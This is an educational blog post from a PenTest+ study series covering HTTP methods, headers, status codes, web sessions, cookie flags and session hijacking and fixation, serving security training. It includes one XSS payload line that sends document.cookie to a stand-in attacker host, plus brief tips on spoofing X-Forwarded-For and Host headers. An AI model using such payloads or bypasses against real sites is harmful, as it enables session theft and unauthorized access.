DEV Community

Rençber AKMAN
Rençber AKMAN

Posted on

#Module 6 — Section 6.1 Overview of Web --Application-Based Attacks for Security Professionals and the OWASP Top 10

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
The complete foundation of web application security — from protocol to attack taxonomy


Table of Contents — Section 6.1


6.1.1 Overview — Why Web Applications Are the Most Attacked Surface on Earth

The Scale of the Problem

Before diving into any technique or tool, we need to answer the most fundamental question: why do penetration testers care about web applications more than almost anything else?

The answer is pure accessibility. A misconfigured login form, a vulnerable API endpoint, a poorly designed session management system — any of these can be reached by anyone on the planet with an internet connection and a browser. There are no geographic barriers. There are no locked doors. An attacker sitting in an apartment can probe a bank's web application from a laptop as easily as they could probe a neighbor's Wi-Fi.

The numbers back this up. Verizon's 2024 Data Breach Investigations Report found that web application attacks were the primary attack vector in the majority of confirmed data breaches across all industries. IBM's 2024 Cost of a Data Breach Report puts the average cost of a single web application breach at over four million dollars. And these numbers come despite decades of security awareness, billions of dollars in defensive tooling, and thousands of available security frameworks and libraries.

Why does the problem persist? Because the web is genuinely, architecturally complex. A modern web application is not a single thing — it is a layered system involving browsers, HTTP servers, application servers, databases, caching layers, load balancers, CDN providers, third-party APIs, JavaScript frameworks, mobile apps, and more. Every boundary between these components is a potential vulnerability. Developers are under constant pressure to build features and ship code. Security is evaluated at the end, not baked into the beginning. And the OWASP Foundation — one of the most respected cybersecurity bodies in the world — has catalogued ten categories of vulnerabilities that appear, year after year, in virtually every application they test.

What This Section Builds

Section 6.1 is the foundation for everything that follows in Module 6. If you do not understand HTTP deeply, SQL injection looks like magic. If you do not understand how sessions work, CSRF attacks seem inexplicable. If you do not know the OWASP Top 10, you do not have a structured way to approach a web application assessment.

This section builds three layers of understanding:

The first layer is the protocol — HTTP. This is the language in which every web attack is conducted. Understanding it at the byte level is not optional for a professional penetration tester.

The second layer is web sessions — how applications manage state on top of a stateless protocol, and why every mechanism used to do so creates new attack surface.

The third layer is the OWASP Top 10 — the industry's consensus map of where web applications break, why they break there, and what the attack and defense look like for each category.

The Mental Model to Carry Throughout This Module

Think of a web application assessment not as "running tools against a website" but as "having a conversation with a server in the language of HTTP and learning from what it says back." Every response the server sends — its headers, its status codes, its error messages, its redirects — is information. Every parameter the application accepts is a potential injection point. Every piece of state the application remembers is a potential target.

A skilled web application penetration tester is, at their core, a very careful reader of HTTP traffic who notices things that automated tools miss.


6.1.2 The HTTP Protocol — The Language Everything Speaks

What HTTP Is and Why Understanding It Deeply Matters

HTTP stands for HyperText Transfer Protocol. It was invented in 1989 by Tim Berners-Lee as part of the original World Wide Web design, standardized in RFC 1945 (HTTP/1.0) in 1996, and has been the foundational protocol of the web ever since.

HTTP is an application-layer protocol sitting at Layer 7 of the OSI model. Below it, at Layer 4, runs TCP — the reliable, connection-oriented transport protocol that handles packet ordering, delivery confirmation, and retransmission. When you make an HTTP request, your operating system first establishes a TCP connection to the server, and HTTP messages flow through that established connection.

HTTPS is not a separate protocol. It is HTTP running inside a TLS (Transport Layer Security) encrypted tunnel. The application data — the HTTP request and response — is identical in both cases. The difference is that HTTPS wraps that data in encryption before it leaves your machine, so anyone intercepting the network traffic between you and the server sees only encrypted gibberish rather than the actual HTTP messages.

Here is the single most important thing to understand about HTTP before learning any web vulnerability: HTTP is completely stateless. Every single request is treated by the server as an independent transaction. The server processes it, sends a response, and immediately forgets the request ever happened. The next request you send — even a millisecond later, even from the exact same browser — is treated as if it came from a complete stranger.

This statelessness is not an oversight. It is intentional design. It makes HTTP servers vastly simpler and more scalable — any server in a cluster can handle any request because no server needs to maintain memory of previous interactions. But this statelessness creates the problem that generates half of all web security vulnerabilities: how does the server remember who you are? We will address this completely in Section 6.1.4. For now, keep this question in mind as we build the foundation.

The Request-Response Model — The Heartbeat of the Web

Everything in HTTP is a request followed by a response. The client (your browser, curl, Burp Suite, a mobile app) sends a request. The server processes it and sends back a response. That is the entire model. Every web interaction you have ever had — every page load, every login, every Google search, every API call — followed this exact structure.

Anatomy of an HTTP Request

An HTTP request has four distinct parts: the request line, the headers section, a blank line (which signals the end of headers), and optionally a body. Let us look at a real login request and dissect every element:

POST /api/v1/auth/login HTTP/1.1
Host: bank.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 58
Origin: https://bank.example.com
Referer: https://bank.example.com/login
Cookie: _ga=GA1.2.1234567890; tracking_id=7f3a2b1c
Connection: keep-alive
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors

{"username":"alice@bank.com","password":"MyP@ssw0rd2024"}
Enter fullscreen mode Exit fullscreen mode

The Request Line: POST /api/v1/auth/login HTTP/1.1

This single line contains three pieces of critical information. The method (POST) tells the server what action to perform. The path (/api/v1/auth/login) tells the server which resource to act upon. The version (HTTP/1.1) tells both sides which protocol rules apply.

HTTP Methods — What They Mean and Why Each Matters for Security

The method is one of the first things a penetration tester looks at because it shapes the entire behavior of the request.

GET requests retrieve a resource and should never cause side effects. The design intention is that GET is "safe" — you can send it multiple times and nothing changes. The critical security implication is that GET parameters appear in the URL: https://example.com/search?query=value&user=123. These URL parameters appear in browser history, server access logs, corporate proxy logs, and the HTTP Referer header when the user clicks a link to another site. Never put sensitive data — passwords, session tokens, personal information — in GET parameters. Many developers know this in theory but violate it under deadline pressure.

POST requests send data to the server to create or process something. The data goes in the request body, not the URL. This makes POST the correct choice for login forms, payment submissions, and any sensitive data. However — and this is a critical point many beginners misunderstand — POST is not inherently secure. Without HTTPS, the POST body is just as readable to a network eavesdropper as a GET URL. POST gives you privacy from browser history and logs; it does not give you encryption.

PUT requests replace a resource entirely. PATCH requests partially update a resource. If an application exposes PUT or PATCH endpoints without proper authorization checks, an attacker can overwrite other users' data — or administrative data — trivially. During a web application assessment, always test all HTTP methods against every endpoint, not just GET and POST.

DELETE requests remove a resource. An unauthenticated or improperly authorized DELETE endpoint is catastrophic — it allows deleting any resource. Finding a DELETE endpoint accessible to regular users when it should require administrative privileges is a critical finding.

OPTIONS requests ask the server what methods it supports for a given URL. The server responds with an Allow header listing permitted methods. This is used by browsers for CORS preflight checks (discussed below). For penetration testers, sending OPTIONS to every endpoint gives you a map of what methods exist before you even test them individually.

HEAD requests work like GET but the server sends only the response headers, not the body. Because the body is omitted, HEAD responses are very fast. Penetration testers use HEAD for rapid reconnaissance — checking status codes, response headers, and server technology across many URLs without downloading the full response bodies.

TRACE requests are designed for diagnostic purposes — the server echoes back the entire request it received, including all headers. This enables the Cross-Site Tracing (XST) attack: if TRACE is enabled on a server that also serves JavaScript, an attacker can use JavaScript to send a TRACE request and read the echoed response, potentially exposing HttpOnly cookies that JavaScript should not be able to access. TRACE should always be disabled in production. If you find it enabled, document it as a finding.

Headers — The Metadata Layer Where Security Lives

HTTP headers are key-value pairs that carry metadata about the request or response. They are enormously important for security professionals because they reveal the application's technology, configuration decisions, and security posture. Learning to read headers fluently is one of the highest-leverage skills in web application testing.

Request Headers That Matter for Security:

Host: bank.example.com
This header tells the server which virtual host to serve the request for. Servers that host multiple domains on one IP address use this header to route requests. This matters for security because some applications use the Host header to construct URLs in password reset emails, absolute redirect URLs, and other places. If the application blindly trusts the Host header without validation, an attacker can manipulate it to redirect sensitive links (like password reset links) to attacker-controlled servers. This is called a Host Header Injection attack.

User-Agent: Mozilla/5.0...
Identifies the browser software making the request. Applications sometimes use this for browser-specific behavior, access control (blocking certain user agents), or analytics. From an attacker's perspective, this can be trivially forged — changing User-Agent to "Googlebot" or "SecurityScanner" is one line in Burp Suite. Never rely on User-Agent for security decisions.

Cookie: _ga=GA1.2.1234567890; tracking_id=7f3a2b1c
The Cookie header sends back cookies that the server previously set. This is the primary mechanism for session management (discussed in full in 6.1.4). Every request to the matching domain automatically includes applicable cookies — which is exactly what enables CSRF attacks, because the browser sends cookies on requests it did not intend to make.

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Used for API authentication, most commonly with JWT (JSON Web Token) Bearer tokens. This header does not automatically persist like cookies — the JavaScript application must explicitly include it in each request. This makes JWT Bearer auth less vulnerable to CSRF (you cannot forge a header from another website via a form submission) but more vulnerable to XSS theft (if your JavaScript is compromised, your Bearer tokens are too).

Content-Type: application/json
Tells the server how the request body is formatted. This is critical for penetration testers because the content type determines which vulnerability classes to test. A JSON body requires different SQL injection and XSS payloads than a URL-encoded form body. An XML body opens up XXE (XML External Entity) attack possibilities that JSON bodies do not. A multipart/form-data body indicates file uploads are happening.

Referer: https://bank.example.com/login
Note the historical misspelling — this should be "Referrer" but the typo made it into the RFC and has never been corrected. This header tells the server which page the request came from. Applications sometimes use this for security decisions (blocking requests that did not come from the expected page). Attackers forge it trivially. It also leaks information — if the Referer header from a request contains a URL with sensitive parameters, those parameters are now logged on the destination server.

Origin: https://bank.example.com
Used in CORS (Cross-Origin Resource Sharing) requests and CSRF-relevant scenarios. The Origin header cannot be set by JavaScript from a different origin — it is enforced by the browser. This makes it a more reliable source-of-truth for cross-origin security decisions than Referer.

X-Forwarded-For: 10.0.0.5
Added by load balancers and reverse proxies to indicate the original client IP address. Applications that implement IP-based access controls — allowing admin access only from the internal network, for example — sometimes check this header. But here is the key: X-Forwarded-For can be set to any value by the client. If an application restricts admin access to 127.0.0.1 and checks X-Forwarded-For to determine the client IP, an attacker can simply add X-Forwarded-For: 127.0.0.1 to their request and bypass the restriction entirely. This is a common and easily overlooked finding.

Response Headers That Reveal Security Posture:

Response headers are your security posture checklist for a web application. The presence or absence of specific security headers tells you a great deal about how the application handles various attack classes.

Server: nginx/1.24.0 — Reveals web server technology and version. Should be removed or set to a generic value in production. When you find it, cross-reference against vulnerability databases for the specific version. Even a minor version difference can be the line between patched and unpatched.

X-Powered-By: PHP/8.1.0 — Reveals server-side language and runtime version. Again, this should be removed. PHP version information maps directly to known CVEs.

Set-Cookie: session_id=7f3a9b2c1d8e4f6a; Path=/; HttpOnly; Secure; SameSite=Strict
This is one of the most important headers to analyze in any web application. The flags on this header determine whether the session can be stolen via XSS (HttpOnly prevents this), whether it can be sniffed on HTTP (Secure prevents this), and whether it is vulnerable to CSRF (SameSite controls this). A missing flag is a vulnerability. Full details in Section 6.1.4.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com
CSP is a browser-enforced security mechanism that restricts which sources of content — scripts, stylesheets, images, fonts, frames — the page may load. A strong CSP is the primary defense against XSS exploitation. Even if an attacker injects a script tag, CSP prevents the browser from executing it unless the source is whitelisted. A missing CSP is not a vulnerability by itself — but it means XSS is far more impactful if found.

X-Frame-Options: DENY or X-Frame-Options: SAMEORIGIN
This header controls whether the page can be embedded in an iframe from another domain. Missing this header enables Clickjacking (covered in Section 6.9). The Content-Security-Policy frame-ancestors directive is the modern replacement, but X-Frame-Options is still checked for compatibility.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
HSTS instructs browsers to always use HTTPS for this domain, for the specified duration (31536000 seconds = 1 year). Once a browser receives this header, it will refuse to make unencrypted HTTP connections to the domain for that period — even if the user types http://. The includeSubDomains flag extends this to all subdomains. The preload flag enables the domain to be included in browser preload lists, so HSTS is enforced even on the very first visit. A missing HSTS header allows SSL stripping attacks on the first connection.

Access-Control-Allow-Origin: https://app.example.com
CORS headers control which origins are permitted to make cross-origin requests and read the responses. A misconfigured CORS policy — particularly one that reflects any Origin header (Access-Control-Allow-Origin: * or dynamically mirroring the request's Origin) combined with Access-Control-Allow-Credentials: true — allows a malicious website to make authenticated cross-origin requests and read the responses. This is a critical vulnerability class.

X-Content-Type-Options: nosniff
Prevents browsers from guessing (sniffing) the content type of a response. Without this, a browser might interpret a text file as HTML and execute embedded scripts. With it, the browser must use the declared Content-Type. Missing this is typically medium severity — it enables certain content injection scenarios.

Referrer-Policy: strict-origin-when-cross-origin
Controls how much information is included in the Referer header on outgoing requests. Sensitive applications (healthcare, finance, legal) should set this to prevent leaking sensitive URL parameters to third parties.

Permissions-Policy: geolocation=(), camera=(), microphone=()
Controls which browser features (geolocation, camera, microphone, payment) are enabled in the document. A missing or permissive policy may allow scripts to access hardware features unexpectedly.

HTTP Status Codes — Reading What the Server Tells You

Status codes are three-digit numbers in every HTTP response that communicate the outcome of the request. For penetration testers, status codes are not just informational — they reveal the application's internal behavior and directly inform attack strategy.

1xx — Informational
Rarely encountered in web application testing. 100 Continue is sometimes sent before large POST bodies.

2xx — Success
200 OK — The request succeeded and the body contains the response. Standard success.
201 Created — A resource was successfully created (common in REST APIs after POST).
204 No Content — Success, but no body. Common for DELETE responses and some PUT/PATCH operations.
206 Partial Content — Partial file delivery. Important in file download functionality.

3xx — Redirection
301 Moved Permanently — Resource permanently relocated. Browsers cache this aggressively.
302 Found — Temporary redirect. The most common redirect type in web applications.
304 Not Modified — Client's cached version is still valid. No content sent.
The security implication: redirects can be manipulated. An Open Redirect vulnerability occurs when an application redirects to a URL from user input without validation, allowing attackers to redirect victims to malicious sites. Look for parameters like ?redirect=, ?next=, ?url=, ?return= in redirect chains.

4xx — Client Errors
This range is the penetration tester's reconnaissance goldmine.

400 Bad Request — The server cannot parse the request. Sometimes reveals parsing details in the error message.
401 Unauthorized — Authentication is required. The server is telling you this endpoint exists but requires credentials.
403 Forbidden — You are authenticated, but not authorized for this resource. This is crucial: a 403 means the resource EXISTS. During directory brute forcing, a 403 is a finding — it reveals a hidden path that requires authorization. A 404 means "not found" (or the server is lying).
404 Not Found — Resource does not exist. Or does it? Security-hardened applications return 404 for unauthorized resources instead of 403 specifically to avoid revealing that the resource exists. This is called "security through ambiguity" — not a strong control, but a valid defense layer.
405 Method Not Allowed — The resource exists but the HTTP method is wrong. Very useful during method enumeration — it tells you the resource is there but you need a different method.
429 Too Many Requests — Rate limiting is active. The application has noticed your rapid requests. Slow down or rotate infrastructure.

5xx — Server Errors
500 Internal Server Error — The server crashed processing your request. Often reveals stack traces, framework versions, database types, file paths, and internal code structure in the response body. A 500 triggered by your input is almost always a vulnerability indicator — something you sent caused unexpected behavior.
502 Bad Gateway — The reverse proxy could not reach the backend. Reveals that a proxy architecture is in use.
503 Service Unavailable — Server is overloaded or in maintenance. Sometimes caused by your own DoS testing.

The key insight about status codes: When you are brute-forcing directories, fuzzing parameters, or testing inputs, you are not just looking for "success." You are watching for differences. A parameter that returns 200 for normal input and 500 for your SQL injection payload has told you something critical, even if you cannot see the full database. A directory that returns 403 instead of 404 exists. An endpoint that returns a different response size for one payload than all others has reacted to your input uniquely. Status codes and response differences are how web applications leak information about their internal behavior.

HTTP Versions — The Evolution and Its Security Implications

Understanding HTTP versions matters because different versions create different attack surfaces, different behavior in security tools, and different requirements for your testing methodology.

HTTP/1.0 (1996)
One TCP connection per request-response pair. After each response, the connection closes. Sends one request at a time and waits for the complete response before sending the next. Extremely inefficient for modern web pages that require dozens of resources. Almost never seen in real assessments today except in very legacy systems.

HTTP/1.1 (1997 — still the baseline)
Introduced persistent connections (keep-alive), meaning the TCP connection stays open for multiple request-response pairs. This is enormously more efficient. Also introduced chunked transfer encoding, allowing responses to be sent in pieces before their full size is known.

HTTP/1.1 is text-based — the protocol messages are human-readable ASCII. This is why you can type raw HTTP/1.1 in telnet or netcat and it works. This is also what makes Burp Suite's Repeater so intuitive — you are literally editing text.

HTTP/1.1 suffers from head-of-line blocking: if you send three requests on a persistent connection, the second cannot be processed until the first response arrives, and the third cannot begin until the second response arrives. Requests are serialized.

Most importantly for security professionals: HTTP/1.1 is what Burp Suite shows you by default and what most security tooling assumes. Even when the browser negotiates HTTP/2 with the server, Burp Suite transparently translates — you see HTTP/1.1 in the proxy, and Burp handles the HTTP/2 wire format on your behalf.

HTTP/2 (2015)
HTTP/2 was a major architectural redesign, solving the performance problems of HTTP/1.1. The key changes:

Binary framing: HTTP/2 is a binary protocol, not text. HTTP/1.1 headers and bodies are converted to binary frames. This makes it more efficient for machines to parse but less human-readable. You cannot type HTTP/2 by hand — it requires a proper implementation.

Multiplexing: Multiple requests can be in-flight simultaneously over a single TCP connection. The head-of-line blocking problem disappears at the HTTP level (though it persists at the TCP level).

Header compression (HPACK): Headers are compressed using a specialized algorithm. Since the same headers are sent on virtually every request (Host, User-Agent, Authorization, Cookie), this is significant bandwidth savings.

Server push: The server can proactively send resources the client will need before the client asks for them.

HTTP/2 security implications:
The binary format means traditional text-based IDS signatures for HTTP/1.1 attacks do not work directly against HTTP/2 traffic. This has been used in evasion scenarios. HTTP/2 also introduced new attack classes: HTTP/2 Request Smuggling — exploiting inconsistencies between how HTTP/2 frontend proxies and HTTP/1.1 backend servers parse the stream — is one of the most powerful web attack techniques discovered in recent years (documented by James Kettle/PortSwigger). Additionally, some servers support HTTP/2 cleartext (h2c upgrades) which can be used to bypass security middleware that only inspects HTTPS traffic.

HTTP/3 (2022 — RFC 9114)
HTTP/3 is the most radical change to the HTTP protocol stack in its history. It does not use TCP at all. Instead, it uses QUIC — a protocol built on UDP that implements its own reliable delivery, flow control, and congestion management.

The rationale: TCP's reliability mechanisms cause a specific problem called TCP-level head-of-line blocking. If a single TCP packet is lost, all data behind it in the stream must wait, even data that belongs to completely independent HTTP streams. QUIC, being UDP-based, allows independent streams to continue even when one stream has a lost packet.

QUIC also integrates TLS 1.3 directly — the cryptographic and transport handshakes happen simultaneously, reducing connection establishment from two round trips (TLS 1.2 over TCP) to one round trip, or even zero for repeated connections (0-RTT). HTTP/3 mandates TLS 1.3 — there is no unencrypted HTTP/3.

HTTP/3 security implications for penetration testers:
HTTP/3 runs over UDP port 443. Firewalls and network appliances that assume all web traffic uses TCP port 443 may inadvertently allow HTTP/3 traffic through rules designed for TCP. Packet capture tools that rely on TCP inspection (Wireshark's default TCP reassembly, many IDS systems) may struggle with QUIC's UDP-based traffic. Your proxy (Burp Suite) needs specific configuration to handle HTTP/3 traffic. The 0-RTT feature has theoretically exploitable replay attack implications. As of 2025, major platforms (Google, Meta, Cloudflare) have widely deployed HTTP/3, making it increasingly relevant in web application assessments.

HTTPS — What It Protects and What It Does Not

HTTPS is HTTP encrypted by TLS. This is worth being extremely precise about because the common understanding is both correct and dangerously incomplete.

What HTTPS protects:

  • The content of every HTTP request and response body
  • All HTTP headers (including cookies, Authorization tokens, form data)
  • The URL path and query parameters (the path after the domain is encrypted)
  • Integrity — messages cannot be tampered with in transit without detection

What HTTPS does not protect:

  • The domain name you are connecting to (visible in DNS queries and TLS SNI — Server Name Indication, which is the unencrypted field in the TLS handshake where the client tells the server which hostname it wants)
  • The IP address of the server
  • Timing and size of requests and responses (traffic analysis)
  • Any application-layer vulnerability (SQL injection, XSS, CSRF, SSRF — all work identically over HTTPS)

That last point is the critical one for every security conversation. The padlock icon in your browser means the channel is encrypted. It says absolutely nothing about whether the application is secure. A web application can be fully HTTPS-only and simultaneously riddled with every vulnerability in the OWASP Top 10. The lock is a channel guarantee, not an application guarantee.


6.1.3 Practice — Reading HTTP Traffic Like a Security Professional

Setting Up Burp Suite as Your Window Into HTTP

The single most important skill to practice here is reading raw HTTP traffic. The browser hides everything — it renders the page, you see the visual result, and you know nothing about the underlying communication. Burp Suite removes this hiding layer entirely. Every request your browser makes, every response the server sends, is laid bare — every header, every parameter, every cookie, every redirect.

Setting up Burp Suite as an intercepting proxy:

On Kali Linux, Burp Suite Community Edition is pre-installed. Launch it from the applications menu or terminal (burpsuite). Navigate to Proxy → Options → Proxy Listeners. The default listener is 127.0.0.1:8080. Configure your browser (or use Burp's built-in browser) to proxy through 127.0.0.1:8080.

Once configured, every request your browser makes passes through Burp. In the Proxy → Intercept tab, with interception on, you can read and modify each request before it is sent. The HTTP History tab shows every request and response in chronological order. This is your intelligence feed.

What to Look For When You First Open a Web Application

When you load a new web application for the first time in an assessment, do not just browse it visually. Open Burp and watch the HTTP history as you explore. Train yourself to look for:

Server and technology disclosure: Check every response's Server and X-Powered-By headers. Even if the homepage hides these, error pages and API endpoints often reveal them.

Security headers: For each application, check the primary responses for the presence or absence of: X-Frame-Options, Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, Referrer-Policy. Document each missing header — they are valid findings.

Cookie security flags: When you receive Set-Cookie headers, check every flag. Missing HttpOnly means XSS can steal the cookie. Missing Secure means the cookie is sent over HTTP. Missing SameSite leaves the door open for CSRF.

URL structure patterns: Look for numeric IDs in URLs — /users/1042, /orders/77891, /api/documents/453. These are IDOR candidates. Look for patterns suggesting database table names, internal system names, or backend frameworks in URL structure.

JavaScript files: Burp captures all JavaScript file requests. Review them in the Site Map. JS files frequently contain: API endpoint paths, environment-specific comments, authentication logic, hardcoded API keys or credentials, and development-time debugging code left in production.

API calls: Single-page applications and mobile backends make extensive API calls (JSON over HTTP). These appear in Burp's history and are often much less secured than the web UI because developers assume only the official app will call them.

Error conditions: Deliberately cause errors — navigate to nonexistent pages, submit invalid data types in forms, send malformed JSON bodies. What do error responses reveal? Stack traces show the framework and language. SQL error messages show the database type and sometimes query structure. File path errors reveal server directory structure.

The Recon Checklist for the First 30 Minutes

When you start a web application assessment, before you run any active tools, spend 30 minutes doing this manually:

Browse every page linked from the main navigation. Observe the URL structures. Submit every form with legitimate data to see normal behavior. Log in if accounts are provided. Use the application as intended.

While doing this in Burp:

  • Note all the domains and subdomains the application contacts (visible in the HTTP history target column)
  • Note all authentication mechanisms (cookie-based sessions, JWT, OAuth flows)
  • Note all file upload functionality
  • Note any functionality that takes a URL as input (link preview, webhook, import from URL)
  • Note any numeric IDs in URLs or request parameters
  • Note any admin or privileged functionality even if your account cannot access it

This manual reconnaissance phase tells you where to focus your testing time and which vulnerability classes are most likely relevant. The automated tools come after — they run faster against a scope you already understand.


6.1.4 Web Sessions — How the Stateless Protocol Pretends to Have Memory

The Problem HTTP Statelesness Creates

We established that HTTP is stateless. But websites clearly maintain state — you log in once and the site knows who you are for an entire session. How?

This is a fundamental engineering challenge. The web was originally designed for static documents, not applications that maintain user state across multiple interactions. As the web evolved into an application platform, a series of state management mechanisms were layered on top of the fundamentally stateless HTTP protocol.

Understanding these mechanisms is essential for web security because each one — cookies, sessions, tokens — creates specific, exploitable vulnerabilities.

How Sessions Work — The Complete Mechanism

The session lifecycle works like this:

Step 1: Authentication
You send your credentials to the login endpoint. The server validates them against its database. If valid, the server needs a way to "remember" that you authenticated so it does not require you to log in for every subsequent page.

Step 2: Session Creation
The server creates a session record in its session store. This might be an in-memory structure like Redis, a database table, or even the filesystem. The session record stores data about your authenticated state — your user ID, your role, your permissions, potentially your preferences. Something like:

{
  "session_id": "7f3a9b2c1d8e4f6a3b2c9d8e7f3a9b2c",
  "user_id": 10042,
  "role": "admin",
  "created_at": "2026-07-16T09:30:00Z",
  "expires_at": "2026-07-16T17:30:00Z",
  "ip_address": "192.168.1.100"
}
Enter fullscreen mode Exit fullscreen mode

Step 3: Session ID Delivery
The server sends you the session ID (just the ID, not all the session data) via a Set-Cookie header in the login response:

HTTP/1.1 200 OK
Set-Cookie: session_id=7f3a9b2c1d8e4f6a3b2c9d8e7f3a9b2c; Path=/; HttpOnly; Secure; SameSite=Strict; Max-Age=28800
Enter fullscreen mode Exit fullscreen mode

Step 4: Automatic Cookie Transmission
Your browser stores this cookie and automatically attaches it to every subsequent request to bank.example.com:

GET /dashboard HTTP/1.1
Host: bank.example.com
Cookie: session_id=7f3a9b2c1d8e4f6a3b2c9d8e7f3a9b2c
Enter fullscreen mode Exit fullscreen mode

Step 5: Session Lookup
The server receives this request, extracts the session ID from the Cookie header, looks it up in the session store, finds your session record, and from that knows you are authenticated as user 10042 with admin role. It processes the request accordingly.

The session ID is just a reference key. The actual data lives server-side in the session store. The browser holds only the key.

Why Session IDs Must Be Cryptographically Random

The session ID is the key to your authenticated identity. If an attacker obtains your session ID, they can impersonate you completely — without knowing your password, without your phone for MFA, without any other credential. They simply need to include your session ID in a Cookie header, and the server will think they are you.

This attack is called session hijacking, and it is one of the most immediately devastating attacks in web security. A single captured session ID can give an attacker full access to an account for the duration of the session — which on poorly designed sites can be weeks or months.

For session IDs to be secure against brute force and prediction attacks, they must be:

Generated using a CSPRNG: A Cryptographically Secure Pseudo-Random Number Generator produces values that are computationally impossible to predict. Standard random number functions like JavaScript's Math.random(), PHP's rand(), or Python's random module are NOT cryptographically secure. They are designed for statistical distributions, not unpredictability. A session ID generated with rand() can be predicted if an attacker captures a few session IDs and identifies the seed or state of the generator. Use secrets in Python, crypto.randomBytes() in Node.js, random_bytes() in PHP, SecureRandom in Java.

Long enough to resist brute force: Session IDs should have at least 128 bits of entropy. At 128 bits, even if an attacker could try a billion session IDs per second, it would take longer than the age of the universe to find a valid one statistically. Many frameworks generate 128 or 256-bit session IDs by default — but some older frameworks still generate dangerously short IDs.

Not derived from predictable data: A session ID that incorporates base64(username + timestamp) is not random — it is deterministic. An attacker who knows your username and approximately when you logged in can compute your session ID. Session IDs must be completely independent of any user-specific data.

Invalidated server-side on logout: This is one of the most commonly missed requirements. When a user logs out, the server must delete the session record from the session store — not just tell the browser to delete the cookie. If only the client-side cookie is cleared but the server-side session persists, the session is still valid. Anyone who captured or observed the session ID earlier (from a shared browser, from a network sniff, from logs) can replay it. The only correct logout is server-side session invalidation.

Regenerated on privilege change: Whenever a user's privilege level changes — most importantly, upon successful login — the server must generate a new session ID and invalidate the old one. This prevents session fixation attacks.

Cookie Security Flags — The Defense Mechanisms

When the server sets a cookie, it can attach flags that control the cookie's security behavior. Understanding these flags is essential because their absence creates directly exploitable vulnerabilities.

The HttpOnly Flag

Set-Cookie: session_id=abc; HttpOnly

HttpOnly prevents JavaScript from reading the cookie. When HttpOnly is set, document.cookie returns the cookie name but not its value. The cookie exists in the browser's cookie jar and is still sent with HTTP requests — but JavaScript code running in the page cannot read it.

Why this matters: XSS (Cross-Site Scripting) attacks work by injecting malicious JavaScript into a page. The most common goal of XSS is session theft — the injected script reads document.cookie and sends the session ID to the attacker. HttpOnly blocks this specific theft vector.

What HttpOnly does NOT do: It does not prevent the cookie from being sent with HTTP requests. So CSRF attacks are completely unaffected — the browser still sends the HttpOnly cookie on every request to the domain, including forged ones from malicious pages.

The Secure Flag

Set-Cookie: session_id=abc; Secure

Secure tells the browser to only transmit this cookie over HTTPS connections, never over plain HTTP. Without Secure, if a user visits any HTTP version of the site — even accidentally, through an old bookmark or an HTTP link — the browser sends the cookie in cleartext over the unencrypted connection, where a network eavesdropper can capture it.

This is especially relevant in scenarios where HTTPS is deployed but HTTP is not explicitly redirected, or where mixed-content situations exist.

The SameSite Flag

Set-Cookie: session_id=abc; SameSite=Strict

SameSite controls when the cookie is included in cross-site requests. This is the primary cookie-level defense against CSRF (Cross-Site Request Forgery).

SameSite=Strict — The cookie is only sent when the request originates from the same site. Cross-site navigations (following a link from another website) and cross-site requests (fetches, form submissions, image loads) from other domains will NOT include this cookie. Maximum CSRF protection. The tradeoff: if you link to your site from an email or social media, the initial request will not include the cookie, so the user will appear logged out and need to re-authenticate.

SameSite=Lax — The cookie is NOT sent on cross-site background requests (API calls, images, iframes from other sites) but IS sent when a user follows a top-level navigation link from another site. This is the default in modern browsers when SameSite is not specified. It provides good CSRF protection while maintaining the user experience of staying logged in when following links.

SameSite=None — The cookie is sent on all requests regardless of origin. This is required for legitimate cross-site cookies (third-party analytics, embedded payment forms, OAuth cross-site flows). Must be paired with Secure — browsers refuse to set SameSite=None cookies without the Secure flag.

The SameSite attribute, when properly implemented, dramatically reduces CSRF risk. But it is not a complete CSRF defense on its own — implementation inconsistencies across older browsers, subdomain trust relationships, and specific request type exceptions mean CSRF tokens should still be used alongside SameSite.

Domain and Path Attributes

Set-Cookie: session_id=abc; Domain=.example.com; Path=/

Domain controls which hostnames receive the cookie. Domain=.example.com sends the cookie to example.com and all its subdomains — api.example.com, app.example.com, dev.example.com. This has a security implication: if any subdomain has an XSS vulnerability, an attacker exploiting that XSS can steal cookies scoped to the entire .example.com domain, including the main application's session cookies.

Path controls which URL paths on the server receive the cookie. Path=/api would only send the cookie to requests under /api. This is rarely used for security (it is more commonly used to prevent cookie bloat from sending large cookies to every request).

Session Attacks — A Complete Taxonomy with Exploitation Patterns

Session Hijacking

The attacker obtains a valid session ID and replays it in their own requests. Attack vectors for obtaining the session ID:

Network interception: If the Secure flag is missing, session cookies travel in cleartext over HTTP. A network eavesdropper (MITM on the same network, rogue Wi-Fi AP, corporate proxy) captures the cookie value. The attacker copies the cookie into their browser and is immediately authenticated as the victim.

XSS theft: If HttpOnly is missing, an XSS payload reads and exfiltrates the cookie:

// Attacker's XSS payload sent to the victim's browser
fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie))
Enter fullscreen mode Exit fullscreen mode

With the cookie captured, the attacker imports it into their browser and takes over the session.

Log extraction: Server access logs sometimes contain session tokens if they appear in URLs (a result of developers incorrectly using GET parameters for session management). Log aggregation systems, monitoring dashboards, and error reporting services are worth checking for session ID exposure.

Server-side session store breach: If the session store (Redis, database) is compromised, all active session IDs are exposed simultaneously.

Session Fixation

In session fixation, the attacker does not steal a session — they force a known session ID onto the victim before authentication, then use that known ID after the victim authenticates.

Attack flow:

  1. Attacker visits the login page and receives a pre-authentication session ID from the server (e.g., session_id=attacker_known_value)
  2. Attacker sends the victim a link that includes this session ID: https://bank.example.com/login?session_id=attacker_known_value
  3. Victim clicks the link and the application sets a cookie with the attacker's known session ID
  4. Victim logs in successfully
  5. The application does NOT generate a new session ID after login — it keeps the same session ID now marked as authenticated
  6. Attacker uses session_id=attacker_known_value and is now authenticated as the victim

